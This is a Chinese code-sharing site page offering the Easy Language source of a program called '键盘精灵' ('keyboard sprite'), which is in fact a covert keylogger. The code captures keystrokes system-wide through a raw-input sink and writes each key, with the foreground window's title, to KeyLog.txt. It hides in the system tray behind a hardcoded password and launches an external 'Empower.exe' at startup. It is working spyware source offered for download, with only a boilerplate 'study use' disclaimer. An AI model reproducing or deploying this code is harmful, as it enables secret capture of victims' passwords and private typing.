在好例子网,分享、交流、成长!
您当前所在位置:首页Others 开发实例一般编程问题 → 键盘精灵.e

键盘精灵.e

一般编程问题

下载此实例
  • 开发语言:Others
  • 实例大小:0.90M
  • 下载次数:4
  • 浏览次数:54
  • 发布时间:2022-03-31
  • 实例类别:一般编程问题
  • 发 布 人:aceef
  • 文件格式:.e
  • 所需积分:2
 相关标签: 键盘

实例介绍

【实例简介】键盘精灵.e

版本 2
.支持库 eAPI

.程序集 程序集_Monitor
.程序集变量 mHandle, 整数型
.程序集变量 lpPrevWndFunc, 整数型
.程序集变量 hFile, 整数型, , , ' 本源码来自三叶资源网(www.sanye.cx)
.程序集变量 TP, 类_托盘

.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行

运行 (取运行目录 () + “\Empower.exe”, 假, )
Initialization ()

返回 (0)  ' 可以根据您的需要返回任意数值

.子程序 托盘事件
.参数 操作, 整数型


.如果真 (操作 = 517 且 Monitor.可视 = 假)
    .如果真 (弹出密码框 () = “750922”)
        Monitor.可视 = 真
    .如果真结束

.如果真结束



.子程序 _Monitor_将被销毁

文件_关闭 (hFile)


.子程序 _退出钮_被单击

销毁 ()


.子程序 _隐藏钮_被单击

Monitor.可视 = 假

.子程序 _查看钮_被单击

运行 (“notepad.exe ” + 目录_取特定目录 (8) + “KeyLog.txt”, 假, )


.子程序 _删除钮_被单击
.局部变量 AD, 文本型

.如果真 (弹出密码框 () = “750922”)
    hFile = 打开文件 (目录_取特定目录 (8) + “KeyLog.txt”, #重写, #禁止写)
.如果真结束


.子程序 SaveVKey
.参数 usVKey, 整数型, , 键代码
.局部变量 hWnd, 整数型
.局部变量 szTitle, 文本型
.局部变量 outStr, 文本型

szTitle = 取空白文本 (#MAX_PATH)
hWnd = GetForegroundWindow ()
GetWindowTextA (hWnd, szTitle, #MAX_PATH)
outStr = 格式化文本 (“[%s]   Name:%s   Value:%d  ” + 时间_到文本 (, 1) + #换行符, szTitle, GetKeyName (usVKey), usVKey)
编辑框1.加入文本 (outStr)
写出文本 (hFile, outStr)



.子程序 Init, 逻辑型
.参数 hWnd, 整数型
.局部变量 rawinputDevice, RAWINPUTDEVICE

rawinputDevice.usUsagePage = 1
rawinputDevice.usUsage = 6
rawinputDevice.dwFlags = #RIDEV_INPUTSINK
rawinputDevice.hwndTarget = hWnd
返回 (RegisterRawInputDevices (rawinputDevice, 1, #sizeof_RAWINPUTDEVICE))

.子程序 GetData
.参数 lParam, 整数型
.局部变量 rawinputData, RAWINPUT
.局部变量 uiSize, 整数型

uiSize = #sizeof_RAWINPUT

GetRawInputData (lParam, #RID_INPUT, rawinputData, uiSize, 16)
.如果真 (rawinputData.header.dwType = #RIM_TYPEKEYBOARD)
    .如果真 (rawinputData.keyboard.Message = #WM_KEYDOWN 或 rawinputData.keyboard.Message = #WM_SYSKEYDOWN)
        SaveVKey (rawinputData.keyboard.VKey)
    .如果真结束

.如果真结束


.子程序 Initialization
.局部变量 handle, 整数型

handle = Api_OpenMutex (2031617, 真, “Frank”)
.如果 (handle > 0)

.否则
    mHandle = Api_CreateMutexA (0, 假, “Frank”)
    载入 (Monitor, , 假)
.如果结束



.子程序 GetKeyName, 文本型, , 来自精易模块,我懒得手写了!!
.参数 键代码, 整数型, , 键代码,如填:65,将返回 A键
.局部变量 文本, 文本型

.判断开始 (键代码 = #Ctrl键)
    文本 = “Ctrl”
.判断 (键代码 = #Shift键)
    文本 = “Shift”
.判断 (键代码 = #Alt键)
    文本 = “Alt”
.判断 (键代码 = #键0 或 键代码 = 96)
    文本 = “0”
.判断 (键代码 = #键1 或 键代码 = 97)
    文本 = “1”
.判断 (键代码 = #键2 或 键代码 = 98)
    文本 = “2”
.判断 (键代码 = #键3 或 键代码 = 99)
    文本 = “3”
.判断 (键代码 = #键4 或 键代码 = 100)
    文本 = “4”
.判断 (键代码 = #键5 或 键代码 = 101)
    文本 = “5”
.判断 (键代码 = #键6 或 键代码 = 102)
    文本 = “6”
.判断 (键代码 = #键7 或 键代码 = 103)
    文本 = “7”
.判断 (键代码 = #键8 或 键代码 = 104)
    文本 = “8”
.判断 (键代码 = #键9 或 键代码 = 105)
    文本 = “9”
.判断 (键代码 = #A键)
    文本 = “A”
.判断 (键代码 = #B键)
    文本 = “B”
.判断 (键代码 = #C键)
    文本 = “C”
.判断 (键代码 = #D键)
    文本 = “D”
.判断 (键代码 = #E键)
    文本 = “E”
.判断 (键代码 = #F键)
    文本 = “F”
.判断 (键代码 = #G键)
    文本 = “G”
.判断 (键代码 = #H键)
    文本 = “H”
.判断 (键代码 = #I键)
    文本 = “I”
.判断 (键代码 = #J键)
    文本 = “J”
.判断 (键代码 = #K键)
    文本 = “K”
.判断 (键代码 = #L键)
    文本 = “L”
.判断 (键代码 = #M键)
    文本 = “M”
.判断 (键代码 = #N键)
    文本 = “N”
.判断 (键代码 = #O键)
    文本 = “O”
.判断 (键代码 = #P键)
    文本 = “P”
.判断 (键代码 = #Q键)
    文本 = “Q”
.判断 (键代码 = #R键)
    文本 = “R”
.判断 (键代码 = #S键)
    文本 = “S”
.判断 (键代码 = #T键)
    文本 = “T”
.判断 (键代码 = #U键)
    文本 = “U”
.判断 (键代码 = #V键)
    文本 = “V”
.判断 (键代码 = #W键)
    文本 = “W”
.判断 (键代码 = #X键)
    文本 = “X”
.判断 (键代码 = #Y键)
    文本 = “Y”
.判断 (键代码 = #Z键)
    文本 = “Z”
.判断 (键代码 = #F1键)
    文本 = “F1”
.判断 (键代码 = #F2键)
    文本 = “F2”
.判断 (键代码 = #F3键)
    文本 = “F3”
.判断 (键代码 = #F4键)
    文本 = “F4”
.判断 (键代码 = #F5键)
    文本 = “F5”
.判断 (键代码 = #F6键)
    文本 = “F6”
.判断 (键代码 = #F7键)
    文本 = “F7”
.判断 (键代码 = #F8键)
    文本 = “F8”
.判断 (键代码 = #F9键)
    文本 = “F9”
.判断 (键代码 = #F10键)
    文本 = “F10”
.判断 (键代码 = #F11键)
    文本 = “F11”
.判断 (键代码 = #F12键)
    文本 = “F12”
.判断 (键代码 = #F13键)
    文本 = “F13”
.判断 (键代码 = #F14键)
    文本 = “F14”
.判断 (键代码 = #F15键)
    文本 = “F15”
.判断 (键代码 = #F16键)
    文本 = “F16”
.判断 (键代码 = #Break键)
    文本 = “Break”
.判断 (键代码 = #回车键)
    文本 = “回车”
.判断 (键代码 = #Pause键)
    文本 = “Pause”
.判断 (键代码 = #CapsLock键)
    文本 = “Caps Lock”
.判断 (键代码 = #NumLock键)
    文本 = “NumLock”
.判断 (键代码 = #ScrollLock键)
    文本 = “ScrollLock”
.判断 (键代码 = #Esc键)
    文本 = “Esc”
.判断 (键代码 = #空格键)
    文本 = “空格”
.判断 (键代码 = #PageUp键)
    文本 = “PageUp”
.判断 (键代码 = #PageDown键)
    文本 = “PageDown”
.判断 (键代码 = #Home键)
    文本 = “Home”
.判断 (键代码 = #End键)
    文本 = “End”
.判断 (键代码 = #左光标键)
    文本 = “左光标”
.判断 (键代码 = #上光标键)
    文本 = “上光标”
.判断 (键代码 = #右光标键)
    文本 = “右光标”
.判断 (键代码 = #下光标键)
    文本 = “下光标”
.判断 (键代码 = #Ins键)
    文本 = “Ins”
.判断 (键代码 = #Del键)
    文本 = “Del”
.判断 (键代码 = #分号键)
    文本 = “分号”
.判断 (键代码 = #等号键)
    文本 = “等号”
.判断 (键代码 = #逗号键)
    文本 = “逗号”
.判断 (键代码 = #减号键)
    文本 = “减号”
.判断 (键代码 = #圆点键)
    文本 = “圆点”
.判断 (键代码 = #除号键)
    文本 = “除号”
.判断 (键代码 = #反撇号键)
    文本 = “反撇号”
.判断 (键代码 = #左中括号键)
    文本 = “左中括号”
.判断 (键代码 = #右中括号键)
    文本 = “右中括号”
.判断 (键代码 = #斜杠键)
    文本 = “斜杠”
.判断 (键代码 = #单引号键)
    文本 = “单引号”
.判断 (键代码 = 106)
    文本 = “乘号”
.判断 (键代码 = 107)
    文本 = “加号”
.判断 (键代码 = #退格键)
    文本 = “退格”
.判断 (键代码 = 91)
    文本 = “Win”
.默认

.判断结束
返回 (文本)


.子程序 func_Message, 整数型
.参数 hWnd, 整数型
.参数 Msg, 整数型
.参数 wParam, 整数型
.参数 lParam, 整数型


.如果真 (Msg = #WM_INPUT)
    GetData (lParam)
.如果真结束
返回 (CallWindowProcA (lpPrevWndFunc, hWnd, Msg, wParam, lParam))

.子程序 _Monitor_创建完毕
.局部变量 hWnd, 整数型
.局部变量 FILE, 文本型
.局部变量 window, 文本型, , "0"
.局部变量 i, 整数型

hWnd = Monitor.取窗口句柄 ()
.如果真 (Init (hWnd) = 假)
    返回 ()
.如果真结束

hFile = 打开文件 (目录_取特定目录 (8) + “KeyLog.txt”, #改写, #禁止写)
.如果真 (hFile = 0)
    返回 ()
.如果真结束
lpPrevWndFunc = SetWindowLongA (hWnd, #GWL_WNDPROC, &func_Message)
TP.创建 (取窗口句柄 (), #TP)
TP.挂接事件 (&托盘事件)

【实例截图】

from clipboard

【核心代码】
..
└── 好例子网_键盘精灵.e

0 directories, 1 file


标签: 键盘

实例下载地址

键盘精灵.e

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

发表评论

(您的评论需要经过审核才能显示)

查看所有0条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警